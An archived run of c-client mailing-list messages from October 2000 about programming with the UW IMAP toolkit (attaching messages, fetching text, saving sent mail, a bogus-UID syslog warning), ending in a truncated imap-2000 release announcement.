list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA13283; Thu, 19 Oct 2000 20:58:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA32708; Thu, 19 Oct 2000 20:57:07 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA151682 for ; Thu, 19 Oct 2000 20:55:39 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA23071 for ; Thu, 19 Oct 2000 20:55:39 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA13231; Thu, 19 Oct 2000 20:55:34 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id VAA10733; Thu, 19 Oct 2000 21:56:05 -0600 Message-Id: Date: Thu, 19 Oct 2000 21:56:05 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: re: MESSAGE/RFC822 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN errr, how then do I extract the entire text of the message as a char string instead of the ENV and BODY structures? do I do mail_fetchheader() and mail_fetchtext() and conactenate the two? On Thu, 19 Oct 2000, Mark Crispin wrote: > On Thu, 19 Oct 2000 21:40:26 -0600 (CST), Mike Trank wrote: > > How do I put a whole message from an open mailbox as a message/rfc822 type > > attachment? > > Attach it the same way you attach a TEXT/PLAIN, only setting the type to > TYPEMESSAGE and the subtype to "RFC822". Don't do anything with the > body.nested.msg stuff; that is for reading only, sending ignores it. > From pinedev@shivax2.cac.washington.edu Thu Oct 19 21:01:45 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 21:01:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id VAA10529 for ; Thu, 19 Oct 2000 21:01:43 -0700 (PDT) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA31641; Thu, 19 Oct 2000 21:01:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA16354; Thu, 19 Oct 2000 21:00:34 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA151654 for ; Thu, 19 Oct 2000 20:59:53 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA25286 for ; Thu, 19 Oct 2000 20:59:53 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA31595 for ; Thu, 19 Oct 2000 20:59:53 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA18850; Thu, 19 Oct 2000 20:59:52 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (death@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id UAA25753; Thu, 19 Oct 2000 20:59:52 -0700 Message-Id: Date: Thu, 19 Oct 2000 20:59:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@CAC.Washington.EDU Subject: re: MESSAGE/RFC822 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 19 Oct 2000 21:56:05 -0600 (CST), Mike Trank wrote: > errr, how then do I extract the entire text of the message as a char > string instead of the ENV and BODY structures? > > do I do mail_fetchheader() and mail_fetchtext() and conactenate the two? Yes, that's one way of doing it. From pinedev@shivax2.cac.washington.edu Fri Oct 20 04:16:12 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Oct 2000 04:16:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id EAA07790 for ; Fri, 20 Oct 2000 04:16:11 -0700 (PDT) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA21124; Fri, 20 Oct 2000 04:16:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA34380; Fri, 20 Oct 2000 04:14:03 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA179466 for ; Fri, 20 Oct 2000 04:11:57 -0700 Received: from imo-d07.mx.aol.com (imo-d07.mx.aol.com [205.188.157.39]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA27922 for ; Fri, 20 Oct 2000 04:11:57 -0700 Received: from BrendaGSpielman@cs.com by imo-d07.mx.aol.com (mail_out_v28.31.) id f.bd.8097c84 (3706); Fri, 20 Oct 2000 07:11:14 -0400 (EDT) Message-Id: Date: Fri, 20 Oct 2000 07:11:13 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: BrendaGSpielman@cs.com To: MRC@CAC.Washington.EDU, BrendaGSpielman@cs.com Cc: c-client@u.washington.edu Subject: Re: smtp server on a non-standard port? MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yeah, you are right about where I got confused. Thanks for the answer. From pinedev@shivax2.cac.washington.edu Sun Oct 22 20:45:52 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 22 Oct 2000 20:45:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id UAA13952 for ; Sun, 22 Oct 2000 20:45:51 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA13855; Sun, 22 Oct 2000 20:45:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA20570; Sun, 22 Oct 2000 20:44:47 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA174724 for ; Sun, 22 Oct 2000 20:43:09 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA30399 for ; Sun, 22 Oct 2000 20:43:09 -0700 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA13797 for ; Sun, 22 Oct 2000 20:43:08 -0700 Received: from quixote.unet.brandeis.edu (IDENT:0@quixote.unet.brandeis.edu [129.64.99.99]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet1.7) with ESMTP id XAA00844 for ; Sun, 22 Oct 2000 23:43:06 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.3/8.9.1) with ESMTP id XAA14796 for ; Sun, 22 Oct 2000 23:43:06 -0400 Message-Id: Date: Sun, 22 Oct 2000 23:43:06 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@CAC.Washington.EDU Subject: Syslogged Message 1 UID 300710995 greater than last 2622 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: rcgraves@quixote.unet.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I found the message in src/osdep/unix/unix.c and friends but I'm not sure what it means. Can you reassure me that this is nothing to worry about? I'm running imap-2000.RELEASE-CANDIDATE.8 on Linux, ipop3d slurping mail from a Berkeley mbox to mbx-formatted /var/imap/hash/user/INBOX. Got two sets of messages like this. Oct 22 23:06:26 shemp ipop3d[24673]: pop3 service init from 129.64.222.58 Oct 22 23:06:26 shemp ipop3d[24673]: Message 1 UID 300710995 greater than\ last 2622 Oct 22 23:06:26 shemp ipop3d[24673]: Auth user=joeschmo\ host=dhcp-129-64-222-58.dorm.brandeis.edu [129.64.222.58] nmsgs=1/1 Oct 22 23:06:26 shemp ipop3d[24673]: Logout user=joeschmo\ host=dhcp-129-64-222-58.dorm.brandeis.edu [129.64.222.58] nmsgs=0 ndele=1 I don't have the message, but the pseudoheader is: >From MAILER-DAEMON Sun Oct 22 23:06:26 2000 Date: 22 Oct 2000 23:06:26 -0400 From: Mail System Internal Data Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA Message-ID: <972270386@shemp.unet.brandeis.edu> X-IMAP: 0972270386 0000002623 Status: RO -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Oct 22 21:51:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 22 Oct 2000 21:51:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id VAA16839 for ; Sun, 22 Oct 2000 21:51:25 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA14937; Sun, 22 Oct 2000 21:51:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA20546; Sun, 22 Oct 2000 21:49:33 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA158772 for ; Sun, 22 Oct 2000 21:48:33 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA03557 for ; Sun, 22 Oct 2000 21:48:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (hgm@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA14890 for ; Sun, 22 Oct 2000 21:48:32 -0700 Message-Id: Date: Sun, 22 Oct 2000 20:50:54 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@CAC.Washington.EDU Subject: re: Syslogged Message 1 UID 300710995 greater than last 2622 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 22 Oct 2000 23:43:06 -0400 (EDT), Rich Graves wrote: > Oct 22 23:06:26 shemp ipop3d[24673]: Message 1 UID 300710995 greater than\ > last 2622 This is nothing to worry about. It is a debugging warning. What happened is that someone sent a message to the user with a header containing "X-UID: 300710995". The "X-UID" header line isn't supposed to appear in mail sent over the wire; it is an internal header to c-client. Very often, however, spammers write such headers as part of their obfuscated fake headers. Unlike X-UIDL (which is used by qpopper for POP3 only), the X-UID header follows IMAP UID conventions (which are good for POP3 and IMAP). IMAP UIDs are assigned strictly ascending. At the time, the highest UID ever assigned in the mailbox was 2622. 300710995 is much larger, and hence bogus. c-client also assigned UIDs monotonically (although this is not required by any standard). It is very unlikely that over 300 million messages have been delivered to that mailbox in its history... :-) Fortunately, although this is clearly bogus data generated by a hacker (and probably a spammer), the effect is harmless. c-client detected the bogon, wrote the syslog() message, and replaced the bogus UID with a newly-assigned one (2623). The worst impact is if a bogon duplicates a previously-assigned UID belonging to a message that was subsequently deleted, and the ascending order in the mailbox is not otherwise impacted. Such an occurance would probably cause the client to ignore the message...which in the case of spam is probably a feature, not a bug! From pinedev@shivax2.cac.washington.edu Mon Oct 23 17:48:29 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Oct 2000 17:48:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id RAA13624 for ; Mon, 23 Oct 2000 17:48:28 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA25535; Mon, 23 Oct 2000 17:48:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA33474; Mon, 23 Oct 2000 17:47:18 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA147602 for ; Mon, 23 Oct 2000 17:45:38 -0700 Received: from danger.com ([63.203.215.2]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA12799 for ; Mon, 23 Oct 2000 17:45:33 -0700 Received: from powderkeg (powderkeg.danger.com [10.0.1.29]) by danger.com (8.9.3/8.9.3) with SMTP id FAA03574 for ; Tue, 24 Oct 2000 05:50:33 -0700 Message-Id: <007d01c03d53$d5f53250$1d01000a@powderkeg> Date: Mon, 23 Oct 2000 17:46:23 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Michael Morrissey" To: Subject: Saving sent mail MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi there, In my imap client, I'm adding a "Save a copy of Sent Mail" option, but I don't know what the proper way of going about it. Do I simply BCC a copy of the message to the user, and add some filter rule which puts that mail into a "Sent Items" folder? Or is there a more direct route? Thanks very much, Michael -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 23 18:30:33 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Oct 2000 18:30:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id SAA15355 for ; Mon, 23 Oct 2000 18:30:32 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA26444; Mon, 23 Oct 2000 18:30:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA15990; Mon, 23 Oct 2000 18:29:32 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA147484 for ; Mon, 23 Oct 2000 18:28:52 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA05385 for ; Mon, 23 Oct 2000 18:28:52 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA19468; Mon, 23 Oct 2000 18:28:48 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (strider@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id SAA04935; Mon, 23 Oct 2000 18:28:48 -0700 Message-Id: Date: Mon, 23 Oct 2000 18:26:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Michael Morrissey Cc: c-client@u.washington.edu Subject: re: Saving sent mail In-Reply-To: <007d01c03d53$d5f53250$1d01000a@powderkeg> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 23 Oct 2000 17:46:23 -0700, Michael Morrissey wrote: > In my imap client, I'm adding a "Save a copy of > Sent Mail" option, but I don't know what the proper > way of going about it. Do I simply BCC a copy of the > message to the user, and add some filter rule which > puts that mail into a "Sent Items" folder? Or is there > a more direct route? The most common way to do this is to use mail_append() to write the message into your "Sent Items" mailbox. This means that you'll probably have to have your own rfc822out_t routine rather than using the built-in one, so that you can generate the same text for the mail_append() stringstruct that you do for smtp_mail(). From pinedev@shivax2.cac.washington.edu Tue Oct 24 03:21:22 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Oct 2000 03:21:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id DAA29100 for ; Tue, 24 Oct 2000 03:21:20 -0700 (PDT) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA03569; Tue, 24 Oct 2000 03:21:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA15102; Tue, 24 Oct 2000 03:20:27 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA163496 for ; Tue, 24 Oct 2000 03:18:57 -0700 Received: from supermarine.crossflight.co.uk (supermarine.crossflight.co.uk [195.172.72.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA28089 for ; Tue, 24 Oct 2000 03:18:49 -0700 Received: from mailscan.crossflight.co.uk (mailscan.crossflight.co.uk [195.172.72.201]) by supermarine.crossflight.co.uk (8.9.0/8.9.0) with ESMTP id LAA17163 for ; Tue, 24 Oct 2000 11:18:41 +0100 (GMT/BST) Received: from crossflight.co.uk (northrop.crossflight.co.uk) by mailscan.crossflight.co.uk (Content Technologies SMTPRS 4.1.5) with ESMTP id ; Tue, 24 Oct 2000 11:18:40 +0100 Message-Id: <39F56200.23FCEBDE@crossflight.co.uk> Date: Tue, 24 Oct 2000 11:18:40 +0100 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: c-client@u.washington.edu Subject: Re: Saving sent mail References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN As an IMAP user, I prefer and use the Bcc method. This is because it allows my mail client (Netscape) to use it's rules to move the message to a folder of my choice. This enables me to keep related messages together and the threading then works well. Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this mail. ********************************************************************** From pinedev@shivax2.cac.washington.edu Wed Oct 25 04:44:28 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Oct 2000 04:44:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id EAA16218 for ; Wed, 25 Oct 2000 04:44:26 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA27850; Wed, 25 Oct 2000 04:44:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA33182; Wed, 25 Oct 2000 04:43:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA194146 for ; Wed, 25 Oct 2000 04:41:34 -0700 Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA28351 for ; Wed, 25 Oct 2000 04:41:32 -0700 Received: from tunbury.demon.co.uk ([194.222.23.6] helo=tunbury) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 13oOvu-000AMq-0Y for c-client@u.washington.edu; Wed, 25 Oct 2000 12:41:29 +0100 Message-Id: <000101c03e79$33dd25f0$0617dec2@demon.co.uk> Date: Wed, 25 Oct 2000 12:45:02 +0100 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: Subject: RE: Saving sent mail In-Reply-To: <39F56200.23FCEBDE@crossflight.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In a way I would agree with this as I always use IMAP/SMTP over low speed dialup connections - and I use a laptop, so need to access my email when offline. I have written a mail program using c-client which synchronizes my IMAP mailbox with a local offline copy (stored using my own indexed database) and I use the rfc822_output() followed by a mail_append() full method of maintaining a "Sent Items" list When I send an email, I upload it to the SMTP server (transfer 1), then upload it again to the IMAP server (transfer 2), then when I perform a mailbox synchronization of all my folders, I download the message again (transfer 3). This is not a problem for most messages (typically a few KB), but when it's a 1MB message and I'm using my cell phone at 9.6kb... I thought of updating my local offline copy of the mailbox directly - as I know what the contents of the message will be - I can predict the UID that will be assigned by the IMAP server from the next UID information, or I could get a list of messages in the mailbox after I've uploaded it hence get the UID. The problem with both these methods is that they are not full proof for the case where a message from "another source" is delivered to this folder at the same time. In the first option, the query for next UID and the upload of the message is not atomic operation, in the second option, if there is more than one new message when I query the folder after the upload, I won't know which one is the message that I uploaded! Anyway, even if there is a solution for the above (?), I am still required to upload the message twice - once for SMTP and once for IMAP and all I'm doing is improving the profit forecast of mobile phone operator! Any thoughts? --mte -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Guy Dawson Sent: 24 October 2000 11:19 To: c-client@u.washington.edu Subject: Re: Saving sent mail As an IMAP user, I prefer and use the Bcc method. This is because it allows my mail client (Netscape) to use it's rules to move the message to a folder of my choice. This enables me to keep related messages together and the threading then works well. Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this mail. ********************************************************************** From pinedev@shivax2.cac.washington.edu Thu Oct 26 02:39:11 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Oct 2000 02:39:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id CAA15238 for ; Thu, 26 Oct 2000 02:39:08 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA08816; Thu, 26 Oct 2000 02:39:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA42232; Thu, 26 Oct 2000 02:38:11 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA219444 for ; Thu, 26 Oct 2000 02:36:35 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA14478 for ; Thu, 26 Oct 2000 02:36:35 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (filop@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA28920; Thu, 26 Oct 2000 02:36:34 -0700 Message-Id: Date: Thu, 26 Oct 2000 02:10:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: Announcing: UW IMAP toolkit 2000 release version MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The University of Washington IMAP toolkit version 2000 (imap-2000) is in final release status. This replaces all betas and release candidates. ftp://ftp.cac.washington.edu/mail/imap.tar.Z This distribution of imap-2000 is a "free fork" distribution, with a new "type O" open source license which is compatible with other open source licenses. Refer to imap-2000/CPYRIGHT for more information. Refer to imap-2000/docs/RELNOTES for a detailed description of the changes in imap-2000. This is a major new release, with substantial functionality enhancements and bug fixes. We recommend that all sites using older versions (imap-4.x or betas/release candidates of imap-2000) upgrade to imap-2000 as soon as feasible. Several sites have reported that GCC 2.95 on Solaris gets an "internal error" when compiling file mbx.c in imap-2000. This is due to a bug in GCC. It is 